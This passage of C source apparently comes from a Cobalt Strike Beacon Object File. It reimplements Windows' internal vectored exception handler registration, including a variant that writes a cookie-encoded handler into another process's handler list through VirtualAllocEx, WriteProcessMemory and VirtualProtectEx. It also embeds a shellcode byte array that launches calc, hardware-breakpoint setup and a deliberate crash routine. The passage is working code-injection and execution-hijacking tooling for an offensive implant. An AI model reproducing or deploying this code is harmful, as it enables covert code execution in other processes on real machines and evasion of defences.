NtFreeVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE); | |
// Should always hit STATUS_NO_MEMORY here, since we never successfully called RtlAllocateHeap | |
// However another thread may have already allocated it, so we double check (I guess?) | |
if (!LdrpMrdataHeap) | |
return STATUS_NO_MEMORY; | |
return STATUS_SUCCESS; | |
} | |
// If NtAllocateVirtualMemory fails, we just return it's NT_STATUS | |
return result; | |
} | |
NTSTATUS LdrEnsureMrdataHeapExists() | |
{ | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive); | |
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive); | |
NTSTATUS result; | |
PVOID pHeap; | |
PVOID alloc; | |
BOOLEAN ProtectHeap; | |
PVOID BaseAddress; | |
ULONG_PTR RegionSize; | |
HMODULE ntdll = GetModuleHandleA("ntdll"); | |
if (ntdll == NULL) | |
return STATUS_INVALID_HANDLE; | |
// TODO: syscalls | |
NtAllocateVirtualMemory = (LPNTALLOCATEVIRTUALMEMORY)GetProcAddress(ntdll, "NtAllocateVirtualMemory"); | |
NtFreeVirtualMemory = (LPNTFREEVIRTUALMEMORY)GetProcAddress(ntdll, "NtFreeVirtualMemory"); | |
RtlCreateHeap = (RTLCREATEHEAP)GetProcAddress(ntdll, "RtlCreateHeap"); | |
RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(ntdll, "RtlAllocateHeap"); | |
RtlProtectHeap = (RTLPROTECTHEAP)GetProcAddress(ntdll, "RtlProtectHeap"); | |
RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(ntdll, "RtlFreeHeap"); | |
RtlDestroyHeap = (RTLDESTROYHEAP)GetProcAddress(ntdll, "RtlDestroyHeap"); | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrEnsureMrdataHeapExists"); | |
// If CFG is not enabled or LdrpMrdataHeap has already been allocated (i.e. not NULL) | |
if (!LdrControlFlowGuardEnforced() || LdrpMrdataHeap) | |
return STATUS_SUCCESS; | |
BaseAddress = 0; | |
RegionSize = (ULONG_PTR)LdrpAllocationGranularity; | |
result = NtAllocateVirtualMemory(NtCurrentProcess(), &BaseAddress, 0, &RegionSize, MEM_RESERVE, PAGE_READWRITE); | |
if (NT_SUCCESS(result)) | |
{ | |
pHeap = RtlCreateHeap(HEAP_GROWABLE, BaseAddress, 0, 0, 0, 0); | |
if (pHeap) | |
{ | |
alloc = RtlAllocateHeap(pHeap, 0, 4); | |
if (alloc) | |
{ | |
ProtectHeap = TRUE; | |
RtlProtectHeap(pHeap, ProtectHeap); | |
LdrProtectMrdata(FALSE); | |
AcquireSRWLockExclusive(&LdrpMrdataLock); | |
// Now we allocated a READONLY heap, lets update the global variables | |
if (!LdrpMrdataHeap) | |
{ | |
// LdrpMrdataHeapUnprotected will either be NULL or address of alloc | |
LdrpMrdataHeapUnprotected = alloc; | |
LdrpMrdataHeap = pHeap; | |
ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
LdrProtectMrdata(TRUE); | |
return STATUS_SUCCESS; | |
} | |
ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
LdrProtectMrdata(TRUE); | |
RtlProtectHeap(pHeap, 0); | |
RtlFreeHeap(pHeap, 0, alloc); | |
} | |
RtlDestroyHeap(pHeap); | |
} | |
// Free memory we allocated with NtAllocateVirtualMemory | |
// We get here if RtlCreateHeap or RtlAllocateHeap failed | |
NtFreeVirtualMemory(NtCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE); | |
// Should always hit STATUS_NO_MEMORY here, since we never successfully called RtlAllocateHeap | |
// However another thread may have already allocated it, so we double check (I guess?) | |
if (!LdrpMrdataHeap) | |
return STATUS_NO_MEMORY; | |
return STATUS_SUCCESS; | |
} | |
// If NtAllocateVirtualMemory fails, we just return it's NT_STATUS | |
return result; | |
} | |
ULONG RtlpRemoveVectoredHandlerEx(PVOID Handle) | |
{ | |
return 0; | |
} | |
ULONG RtlpRemoveVectoredHandler(PVOID Handle) | |
{ | |
// If the function succeeds, the return value is nonzero. | |
// If the function fails, the return value is zero. | |
return 0; | |
} | |
PVECTORED_HANDLER_ENTRY RtlpAddVectoredHandlerEx( | |
IN HANDLE hProc, | |
IN ULONG FirstHandler, | |
IN PVECTORED_EXCEPTION_HANDLER VectoredHandler, | |
IN BOOL IsUsingVCH) | |
{ | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(KERNEL32, ReadProcessMemory); | |
//DFR_LOCAL(KERNEL32, WriteProcessMemory); | |
//DFR_LOCAL(KERNEL32, VirtualAllocEx); | |
//DFR_LOCAL(KERNEL32, VirtualProtectEx); | |
//DFR_LOCAL(KERNEL32, GetLastError); | |
//DFR_LOCAL(MSVCRT, calloc); | |
//DFR_LOCAL(MSVCRT, free); | |
ULONG cookie = 0; | |
PVOID alloc1 = NULL; | |
void* headAddr = NULL; | |
void* handlerListAddr = NULL; | |
PVECTORED_HANDLER_ENTRY entry = NULL; | |
PVECTORED_HANDLER_ENTRY myEntry = NULL; | |
PVECTORED_HANDLER_ENTRY newEntry = NULL; | |
PVECTORED_HANDLER_LIST head = NULL; | |
PLIST_ENTRY Flink = NULL; | |
PLIST_ENTRY Blink = NULL; | |
DWORD oldProtect = 0; | |
SIZE_T bytesWritten = 0; | |
SIZE_T bytesRead = 0; | |
if (hProc == NULL) | |
return NULL; | |
HMODULE ntdll = GetModuleHandleA("ntdll"); | |
if (ntdll == 0) | |
return NULL; | |
BeaconPrintf(CALLBACK_OUTPUT, "RtlpAddVectoredHandler"); | |
// 1fc98bca-1ba9-4397-93f9-349ead41e057 | |
// GUID guid = { 0x1fc98bca, 0x1ba9, 0x4397, {0x93, 0xf9, 0x34, 0x9e, 0xad, 0x41, 0xe0, 0x57} }; | |
if (TRUE) // NT_SUCCESS(LdrEnsureMrdataHeapExistsEx(hProc)) && RtlQueryProtectedPolicy(&guid, &policyEnabled) || !policyEnabled) | |
{ | |
if (LdrControlFlowGuardEnforced()) | |
{ | |
// TODO | |
return NULL; | |
} | |
// Allocate Heap to store new VECTORED_HANDLER_ENTRY structure | |
newEntry = (PVECTORED_HANDLER_ENTRY)VirtualAllocEx(hProc, 0, sizeof(VECTORED_HANDLER_ENTRY), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
if (newEntry == NULL) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "VirtualAllocEx(newEntry) returned NULL"); | |
return NULL; | |
} | |
myEntry = (PVECTORED_HANDLER_ENTRY)calloc(1, sizeof(VECTORED_HANDLER_ENTRY)); | |
if (myEntry == NULL) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to allocate new entry in current process"); | |
goto CLEANUP_EXIT; | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "Allocated myEntry in current proc at: %p", myEntry); | |
BeaconPrintf(CALLBACK_OUTPUT, "Allocated newEntry in remote proc at: %p", newEntry); | |
cookie = GetProcessCookie(hProc); | |
// Allocate memory to store refcount in myEntry->Unknown1 (init: 1) | |
alloc1 = (PVECTORED_HANDLER_ENTRY)VirtualAllocEx(hProc, 0, sizeof(DWORD64), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); | |
if (alloc1 == NULL) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "VirtualAllocEx(alloc1) returned NULL"); | |
goto CLEANUP_EXIT; | |
} | |
// Write the 1 value to the alloc1 (refcount) pointer | |
DWORD64 refs = 1; | |
if (!WriteProcessMemory(hProc, alloc1, &refs, sizeof(DWORD64), NULL)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "WriteProcessMemory(alloc1) returned FALSE"); | |
goto CLEANUP_EXIT; | |
} | |
// Set refcount to pointer of the 1 value we already wrote | |
myEntry->Unknown1 = (DWORD64*)alloc1; | |
// Always 0 | |
myEntry->Unknown2 = 0; | |
// Encode the address with the remote process cookie | |
myEntry->Handler = (PVECTORED_EXCEPTION_HANDLER)_rotr64((ULONG_PTR)VectoredHandler ^ cookie, cookie & 0x3F); | |
// Add the new entry into the remote LdrpVectorHandlerList | |
headAddr = ((byte*)GetLdrpVectorHandlerList() + (IsUsingVCH * sizeof(PVOID))); | |
handlerListAddr = ((byte*)headAddr + offsetof(VECTORED_HANDLER_LIST, HandlerList)); // 0x8 | |
head = (PVECTORED_HANDLER_LIST)calloc(1, sizeof(VECTORED_HANDLER_LIST)); | |
if (head == NULL) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to allocate %d bytes for VECTORED_HANDLER_LIST", sizeof(VECTORED_HANDLER_LIST)); | |
goto CLEANUP_EXIT; | |
} | |
if (!ReadProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesRead) | |
|| bytesRead != sizeof(VECTORED_HANDLER_LIST)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to read handler list. Read=%d, Error=%d", bytesRead, GetLastError()); | |
goto CLEANUP_EXIT; | |
} | |
// Print metadata | |
BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock: %#llx", head->SrwLock); | |
BeaconPrintf(CALLBACK_OUTPUT, "&head->HandlerList: %#llx", handlerListAddr); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Flink: %p", head->HandlerList.Flink); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList->Blink: %p", head->HandlerList.Blink); | |
// Add correct bitmask to Peb->CrossProcessFlags for VEH/VCH if list was previously empty .. | |
if (head->HandlerList.Flink == handlerListAddr) | |
{ | |
BOOL result = SetCrossProcessFlags(hProc, IsUsingVCH ? 0x8 : 0x4); | |
BeaconPrintf(CALLBACK_OUTPUT, "SetCrossProcessFlags: %d", result); | |
} | |
if (FirstHandler) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "Adding First Handler"); | |
entry = (PVECTORED_HANDLER_ENTRY)calloc(1, sizeof(VECTORED_HANDLER_ENTRY)); | |
if (entry == NULL) | |
goto CLEANUP_EXIT; | |
if (!ReadProcessMemory(hProc, head->HandlerList.Flink, entry, sizeof(VECTORED_HANDLER_ENTRY), NULL)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to read handler list"); | |
goto CLEANUP_EXIT; | |
} | |
// if (head->HandlerList.Flink->Blink == &head->HandlerList) | |
Flink = head->HandlerList.Flink; | |
PVOID FlinkBlinkAddr = ReadPointer(hProc, ((byte*)Flink + offsetof(LIST_ENTRY, Blink))); // 0x8 | |
BeaconPrintf(CALLBACK_OUTPUT, "FlinkBlinkAddr: %llx", FlinkBlinkAddr); | |
if (FlinkBlinkAddr == handlerListAddr) // valid list | |
{ | |
// Flink = HandlerList->Entry.Flink; | |
BeaconPrintf(CALLBACK_OUTPUT, "Flink: %#llx", Flink); | |
myEntry->Entry.Flink = Flink; // Sets our Flink to whatever was first in the list (or &HandlerList if it was empty) | |
myEntry->Entry.Blink = (PLIST_ENTRY)handlerListAddr; // Set our Blink to HandlerList head | |
head->HandlerList.Flink = (PLIST_ENTRY)newEntry; // Set the first entry to our alloc'ed record address | |
// Make the page writeable | |
if (!VirtualProtectEx(hProc, headAddr, 0x1000, PAGE_READWRITE, &oldProtect)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to update page permissions for handler list"); | |
goto CLEANUP_EXIT; | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "oldProtect: %d", oldProtect); | |
// Set the next entries Blink to our new entry (i.e. insert our record at the beginning of the list) | |
// head->HandlerList.Flink->Blink = &newEntry->Entry; | |
if (Flink == handlerListAddr) | |
{ | |
// No existing entries, we can update our local copy of the HandlerList->Blink instead, before writing it back | |
// This saves a wasted WriteProcessMemory call | |
head->HandlerList.Blink = (PLIST_ENTRY)newEntry; | |
} | |
else | |
{ | |
// Existing entry already exists, update its Blink to our new entry | |
BOOL isProtected = (((byte*)FlinkBlinkAddr - (byte*)headAddr) > 0x1000); | |
BeaconPrintf(CALLBACK_OUTPUT, "FlinkBlinkAddr: %#llx (protected: %d)", FlinkBlinkAddr, isProtected); | |
PVOID pNewEntry = newEntry; | |
if (!WriteProcessMemory(hProc, ((byte*)Flink + offsetof(LIST_ENTRY, Blink)), &pNewEntry, sizeof(PVOID), &bytesWritten)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to write head->HandlerList.Flink->Blink to: %#llx, error=%d, written=%d", | |
FlinkBlinkAddr, GetLastError(), bytesWritten); | |
goto CLEANUP_EXIT; | |
} | |
} | |
// Write the VEH entry | |
if (!WriteProcessMemory(hProc, newEntry, myEntry, sizeof(VECTORED_HANDLER_ENTRY), &bytesWritten)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to write handler entry to remote proc"); | |
goto CLEANUP_EXIT; | |
} | |
// Write the updated list | |
if (!WriteProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesWritten)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to write handler list to remote proc"); | |
goto CLEANUP_EXIT; | |
} | |
} | |
else | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "FlinkBlinkAddr(%#llx) != handlerListAddr(%#llx)", FlinkBlinkAddr, handlerListAddr); | |
} | |
} | |
else | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "Adding Last Handler"); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", handlerListAddr); | |
Flink = head->HandlerList.Flink; | |
Blink = head->HandlerList.Blink; | |
PVOID BlinkFlinkAddr = ReadPointer(hProc, ((byte*)Blink + offsetof(LIST_ENTRY, Flink))); // 0x0 | |
BeaconPrintf(CALLBACK_OUTPUT, "BlinkFlinkAddr: %llx", BlinkFlinkAddr); | |
// if ( Blink->Flink == HandlerList ) | |
if (BlinkFlinkAddr == handlerListAddr) // valid list | |
{ | |
//newEntry->Entry.Flink = &head->HandlerList; | |
//newEntry->Entry.Blink = Blink; | |
//Blink->Flink = &newEntry->Entry; | |
//head->HandlerList.Blink = &newEntry->Entry; | |
BeaconPrintf(CALLBACK_OUTPUT, "Flink: %#llx", Flink); | |
myEntry->Entry.Flink = (PLIST_ENTRY)handlerListAddr; // Next entry is beginning of list (i.e. we are last entry) | |
myEntry->Entry.Blink = Blink; // Set our Blink to the previous last entry | |
head->HandlerList.Blink = (PLIST_ENTRY)newEntry; // Set the HandlerList Blink (i.e. last) entry to ours | |
// Make the page writeable | |
if (!VirtualProtectEx(hProc, headAddr, 0x1000, PAGE_READWRITE, &oldProtect)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to update page permissions for handler list"); | |
goto CLEANUP_EXIT; | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "oldProtect: %d", oldProtect); | |
// Set the head->HandlerList.Blink to our new entry (i.e. the last record in the list) | |
// Blink->Flink = &newEntry->Entry; | |
if (Blink == handlerListAddr) | |
{ | |
// No existing entries, we can update our local copy of the HandlerList->Flink instead, before writing it back | |
// This saves a wasted WriteProcessMemory call | |
head->HandlerList.Flink = (PLIST_ENTRY)newEntry; | |
} | |
else | |
{ | |
// Existing entry already exists, update its Flink to our new entry | |
BOOL isProtected = (((byte*)BlinkFlinkAddr - (byte*)headAddr) > 0x1000); | |
BeaconPrintf(CALLBACK_OUTPUT, "BlinkFlinkAddr: %#llx (protected: %d)", BlinkFlinkAddr, isProtected); | |
PVOID pNewEntry = newEntry; | |
if (!WriteProcessMemory(hProc, ((byte*)Blink + offsetof(LIST_ENTRY, Flink)), &pNewEntry, sizeof(PVOID), &bytesWritten)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to write head->HandlerList.Blink->Flink to: %#llx, error=%d, written=%d", | |
BlinkFlinkAddr, GetLastError(), bytesWritten); | |
goto CLEANUP_EXIT; | |
} | |
} | |
// Write the VEH entry | |
if (!WriteProcessMemory(hProc, newEntry, myEntry, sizeof(VECTORED_HANDLER_ENTRY), &bytesWritten)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to write handler entry to remote proc"); | |
goto CLEANUP_EXIT; | |
} | |
// Write the updated list | |
if (!WriteProcessMemory(hProc, headAddr, head, sizeof(VECTORED_HANDLER_LIST), &bytesWritten)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Unable to write handler list to remote proc"); | |
goto CLEANUP_EXIT; | |
} | |
} | |
} | |
} | |
CLEANUP_EXIT: | |
if (head != NULL) | |
free(head); | |
if (myEntry != NULL) | |
free(myEntry); | |
if (entry != NULL) | |
free(entry); | |
if (headAddr && oldProtect) | |
VirtualProtectEx(hProc, headAddr, 0x1000, oldProtect, &oldProtect); | |
BeaconPrintf(CALLBACK_OUTPUT, "RtlpAddVectoredHandlerEx done"); | |
return newEntry; | |
} | |
PVECTORED_HANDLER_ENTRY RtlpAddVectoredHandler( | |
IN ULONG FirstHandler, | |
IN PVECTORED_EXCEPTION_HANDLER VectoredHandler, | |
IN BOOL IsUsingVCH) | |
{ | |
//DFR_LOCAL(KERNEL32, GetProcAddress); | |
//DFR_LOCAL(KERNEL32, GetModuleHandleA); | |
//DFR_LOCAL(NTDLL, AcquireSRWLockExclusive); | |
//DFR_LOCAL(NTDLL, ReleaseSRWLockExclusive); | |
bool v15; | |
DWORD checked; | |
PVOID pHeap; | |
PVOID ProcessHeap; | |
PVOID alloc1; | |
VECTORED_HANDLER_ENTRY* newEntry; | |
LIST_ENTRY* Flink; | |
LIST_ENTRY* Blink; | |
DWORD isLdrpMrdataHeapUnprotected; | |
BOOLEAN Protect; | |
NTSTATUS status; | |
ULONG cookie = 0; | |
ULONG_PTR policyEnabled = 0; | |
HMODULE ntdll = GetModuleHandleA("ntdll"); | |
if (ntdll == 0) | |
return NULL; | |
// TODO: syscalls | |
NtQueryInformationProcess = (LPNTQUERYINFORMATIONPROCESS)GetProcAddress(ntdll, "NtQueryInformationProcess"); | |
RtlQueryProtectedPolicy = (RTLQUERYPROTECTEDPOLICY)GetProcAddress(ntdll, "RtlQueryProtectedPolicy"); | |
RtlRaiseStatus = (RTLRAISESTATUS)GetProcAddress(ntdll, "RtlRaiseStatus"); | |
RtlAllocateHeap = (RTLALLOCATEHEAP)GetProcAddress(ntdll, "RtlAllocateHeap"); | |
RtlProtectHeap = (RTLPROTECTHEAP)GetProcAddress(ntdll, "RtlProtectHeap"); | |
RtlFreeHeap = (RTLFREEHEAP)GetProcAddress(ntdll, "RtlFreeHeap"); | |
BeaconPrintf(CALLBACK_OUTPUT, "RtlpAddVectoredHandler"); | |
// 1fc98bca-1ba9-4397-93f9-349ead41e057 | |
GUID guid = { 0x1fc98bca, 0x1ba9, 0x4397, {0x93, 0xf9, 0x34, 0x9e, 0xad, 0x41, 0xe0, 0x57} }; | |
if (NT_SUCCESS(LdrEnsureMrdataHeapExists()) && RtlQueryProtectedPolicy(&guid, &policyEnabled) || !policyEnabled) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "ProtectedPolicy == FALSE"); | |
if (LdrControlFlowGuardEnforced()) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrControlFlowGuardEnforced == TRUE"); | |
AcquireSRWLockExclusive(&LdrpMrdataLock); | |
checked = *(DWORD*)LdrpMrdataHeapUnprotected; | |
if (*(DWORD*)LdrpMrdataHeapUnprotected) | |
{ | |
// Seems like an overflow check | |
if (checked == -1) | |
goto RELEASE_LDRPDATALOCK_AND_FAIL_WITH_ERROR_14; | |
} | |
else | |
{ | |
// Make LdrpMrdataHeap PAGE_READWRITE | |
RtlProtectHeap(LdrpMrdataHeap, 0); | |
} | |
// Sets LdrpMrdataHeapUnprotected = TRUE | |
*(DWORD*)LdrpMrdataHeapUnprotected = checked + 1; | |
ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
} | |
// ProcessHeap should be READWRITE now | |
if (LdrControlFlowGuardEnforced()) | |
ProcessHeap = LdrpMrdataHeap; | |
else | |
ProcessHeap = NtCurrentPeb()->ProcessHeap; | |
// Allocate Heap to store new VECTORED_HANDLER_ENTRY structure | |
//BeaconPrintf(CALLBACK_OUTPUT, "sizeof(VECTORED_HANDLER_ENTRY) == %zu\n", sizeof(VECTORED_HANDLER_ENTRY)); | |
newEntry = (VECTORED_HANDLER_ENTRY*)RtlAllocateHeap(ProcessHeap, 0, sizeof(VECTORED_HANDLER_ENTRY)); | |
BeaconPrintf(CALLBACK_OUTPUT, "Allocated newEntry at: %p", newEntry); | |
// If RtlAllocateHeap failed .. | |
if (!newEntry) | |
{ | |
RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN: | |
// Just return pVecNewEntry if CFG was already disabled | |
if (!LdrControlFlowGuardEnforced()) | |
return newEntry; | |
// otherwise re-enable LdrpMrdataHeap Protection first | |
AcquireSRWLockExclusive(&LdrpMrdataLock); | |
isLdrpMrdataHeapUnprotected = *(DWORD*)LdrpMrdataHeapUnprotected; | |
if (LdrpMrdataHeapUnprotected) | |
{ | |
v15 = isLdrpMrdataHeapUnprotected == 1; | |
Protect = (unsigned int)(isLdrpMrdataHeapUnprotected - 1); | |
*(DWORD*)LdrpMrdataHeapUnprotected = Protect; | |
if (v15) | |
{ | |
Protect = 1; | |
RtlProtectHeap(LdrpMrdataHeap, Protect); | |
} | |
ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
return newEntry; | |
} | |
RELEASE_LDRPDATALOCK_AND_FAIL_WITH_ERROR_14: | |
ReleaseSRWLockExclusive(&LdrpMrdataLock); | |
__fastfail(0xE); | |
} | |
// Reserved: Always 0 | |
newEntry->Unknown2 = 0; | |
// Allocate heap space and store the address in pVecNewEntry->Unknown1 | |
alloc1 = RtlAllocateHeap(NtCurrentPeb()->ProcessHeap, 0, sizeof(DWORD64)); | |
newEntry->Unknown1 = (DWORD64*)alloc1; | |
if (!alloc1) | |
{ | |
// If RtlAllocateHeap failed then free LdrpMrdataHeap / ProcessHeap | |
// and then return NULL | |
if (LdrControlFlowGuardEnforced()) | |
pHeap = LdrpMrdataHeap; | |
else | |
pHeap = NtCurrentPeb()->ProcessHeap; | |
RtlFreeHeap(pHeap, 0, newEntry); | |
newEntry = NULL; | |
goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN; | |
} | |
*(DWORD64*)alloc1 = 1; | |
BeaconPrintf(CALLBACK_OUTPUT, "pVecNewEntry->Unknown1: %d", *newEntry->Unknown1); | |
if (!g_CookieValue) | |
{ | |
status = NtQueryInformationProcess( | |
(HANDLE)0xFFFFFFFFFFFFFFFF, | |
(PROCESSINFOCLASS)36, | |
&cookie, | |
sizeof(ULONG), | |
NULL); | |
if (status < 0) | |
RtlRaiseStatus(status); | |
g_CookieValue = cookie; | |
BeaconPrintf(CALLBACK_OUTPUT, "Cookie: %lu", cookie); | |
} | |
// Encode the Handler pointer using the process cookie value | |
newEntry->Handler = (PVECTORED_EXCEPTION_HANDLER)_rotr64((ULONG_PTR)VectoredHandler ^ cookie, cookie & 0x3F); | |
PVECTORED_HANDLER_LIST LdrpVectorHandlerList = (PVECTORED_HANDLER_LIST)GetLdrpVectorHandlerList(); | |
PVECTORED_HANDLER_LIST head = &LdrpVectorHandlerList[IsUsingVCH]; | |
BeaconPrintf(CALLBACK_OUTPUT, "LdrpVectorHandlerList = %#llx", *(ULONG_PTR*)LdrpVectorHandlerList); | |
BeaconPrintf(CALLBACK_OUTPUT, "head = %p", &head); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->SrwLock = %p", head->SrwLock); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", &head->HandlerList); | |
// Unprotect .mrdata and acquire the LdrpVectorHandlerList VEH/VCH SRW lock | |
LdrProtectMrdata(0); | |
AcquireSRWLockExclusive(head->SrwLock); | |
// Add correct bitmask to NtCurrentPeb()->CrossProcessFlags for VEH/VCH if list was previously empty .. | |
if (head->HandlerList.Flink == &head->HandlerList) | |
{ | |
BOOL status = _interlockedbittestandset((LONG*)((PBYTE)NtCurrentPeb() + 0x50), IsUsingVCH + 2); | |
BeaconPrintf(CALLBACK_OUTPUT, "_interlockedbittestandset: %d", status); | |
} | |
BeaconPrintf(CALLBACK_OUTPUT, "NtCurrentPeb()->CrossProcessFlags: %d", *(LONG*)((PBYTE)NtCurrentPeb() + 0x50)); | |
if (FirstHandler) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "Adding First Handler"); | |
BeaconPrintf(CALLBACK_OUTPUT, "Flink = %p", head->HandlerList.Flink); | |
BeaconPrintf(CALLBACK_OUTPUT, "Blink = %p", head->HandlerList.Blink); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", &head->HandlerList); | |
if (head->HandlerList.Flink->Blink == &head->HandlerList) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "address of newEntry: %p", newEntry); | |
Flink = head->HandlerList.Flink; | |
newEntry->Entry.Flink = Flink; | |
newEntry->Entry.Blink = &head->HandlerList; | |
Flink->Blink = &newEntry->Entry; | |
head->HandlerList.Flink = &newEntry->Entry; | |
ReleaseSRWLockExclusive(head->SrwLock); | |
LdrProtectMrdata(1); | |
goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN; | |
} | |
} | |
else | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "Adding Last Handler"); | |
BeaconPrintf(CALLBACK_OUTPUT, "Flink = %p", head->HandlerList.Flink); | |
BeaconPrintf(CALLBACK_OUTPUT, "Blink = %p", head->HandlerList.Blink); | |
BeaconPrintf(CALLBACK_OUTPUT, "head->HandlerList = %p", &head->HandlerList); | |
Blink = head->HandlerList.Blink; | |
if (Blink->Flink == &head->HandlerList) | |
{ | |
BeaconPrintf(CALLBACK_OUTPUT, "address of newEntry: %p", newEntry); | |
newEntry->Entry.Flink = &head->HandlerList; | |
newEntry->Entry.Blink = Blink; | |
Blink->Flink = &newEntry->Entry; | |
head->HandlerList.Blink = &newEntry->Entry; | |
ReleaseSRWLockExclusive(head->SrwLock); | |
LdrProtectMrdata(1); | |
goto RESTORE_MRDATAHEAP_PROTECTION_AND_RETURN; | |
} | |
} | |
__fastfail(3); | |
} | |
return NULL; | |
} | |
void CauseCrash() | |
{ | |
//DFR_LOCAL(KERNEL32, VirtualAlloc); | |
//DFR_LOCAL(KERNEL32, RaiseException); | |
//DFR_LOCAL(MSVCRT, memcpy); | |
void* addr = VirtualAlloc(0, 0x1000, MEM_COMMIT | MEM_RESERVE, PAGE_READONLY); | |
BeaconPrintf(CALLBACK_OUTPUT, "Alloc: 0x%#llx", addr); | |
BYTE bytes[0x10] = { }; | |
memcpy((void*)0x41414141, (void*)0x42424242, 0x43434343); | |
} | |
void TestAddHandlerDefault() | |
{ | |
//DFR_LOCAL(KERNEL32, RaiseException); | |
//DFR_LOCAL(KERNEL32, AddVectoredExceptionHandler); | |
AddVectoredExceptionHandler(TRUE, &MyVectoredHandler); | |
DumpHandlers(FALSE, FALSE); | |
//RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL); | |
CauseCrash(); | |
} | |
void TestAddHandlerCustom() | |
{ | |
//DFR_LOCAL(KERNEL32, RaiseException); | |
RtlpAddVectoredHandler(TRUE, &MyVectoredHandler, FALSE); | |
DumpHandlers(FALSE, FALSE); | |
//RaiseException(EXCEPTION_ACCESS_VIOLATION, 0, 0, NULL); | |
CauseCrash(); | |
} | |
unsigned char calcBytes[113] = { | |
0x31, 0xC0, 0x50, 0x68, 0x63, 0x61, 0x6C, 0x63, 0x54, 0x59, 0x50, 0x40, | |
0x92, 0x74, 0x15, 0x51, 0x64, 0x8B, 0x72, 0x2F, 0x8B, 0x76, 0x0C, 0x8B, | |
0x76, 0x0C, 0xAD, 0x8B, 0x30, 0x8B, 0x7E, 0x18, 0xB2, 0x50, 0xEB, 0x1A, | |
0xB2, 0x60, 0x48, 0x29, 0xD4, 0x65, 0x48, 0x8B, 0x32, 0x48, 0x8B, 0x76, | |
0x18, 0x48, 0x8B, 0x76, 0x10, 0x48, 0xAD, 0x48, 0x8B, 0x30, 0x48, 0x8B, | |
0x7E, 0x30, 0x03, 0x57, 0x3C, 0x8B, 0x5C, 0x17, 0x28, 0x8B, 0x74, 0x1F, | |
0x20, 0x48, 0x01, 0xFE, 0x8B, 0x54, 0x1F, 0x24, 0x0F, 0xB7, 0x2C, 0x17, | |
0x8D, 0x52, 0x02, 0xAD, 0x81, 0x3C, 0x07, 0x57, 0x69, 0x6E, 0x45, 0x75, | |
0xEF, 0x8B, 0x74, 0x1F, 0x1C, 0x48, 0x01, 0xFE, 0x8B, 0x34, 0xAE, 0x48, | |
0x01, 0xF7, 0x99, 0xFF, 0xD7 | |
}; | |
unsigned char dbgBytes[4] = { 0xcc, 0xcc, 0xcc, 0xcc }; | |
void AddHardwareBreakpoint(HANDLE hThread, void* addr, int index) | |
{ | |
//DFR_LOCAL(KERNEL32, SetThreadContext); | |
//DFR_LOCAL(KERNEL32, GetLastError); | |
CONTEXT ctx = { 0 }; | |
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS; | |
EnableBreakpoint(&ctx, addr, 0); | |
if (!SetThreadContext(hThread, &ctx)) | |
{ | |
BeaconPrintf(CALLBACK_ERROR, "Error setting hardware breakpoint"); | |
BeaconPrintf(CALLBACK_ERROR, "Error status: %lu", GetLastError()); | |
} | |
} | |
typedef FARPROC(WINAPI* _GetProcAddress)(HMODULE, LPCSTR); | |
typedef HMODULE(WINAPI* _GetModuleHandleA)(LPCSTR); | |
typedef BOOL(WINAPI* _VirtualProtect)(LPVOID, SIZE_T, DWORD, PDWORD); | |
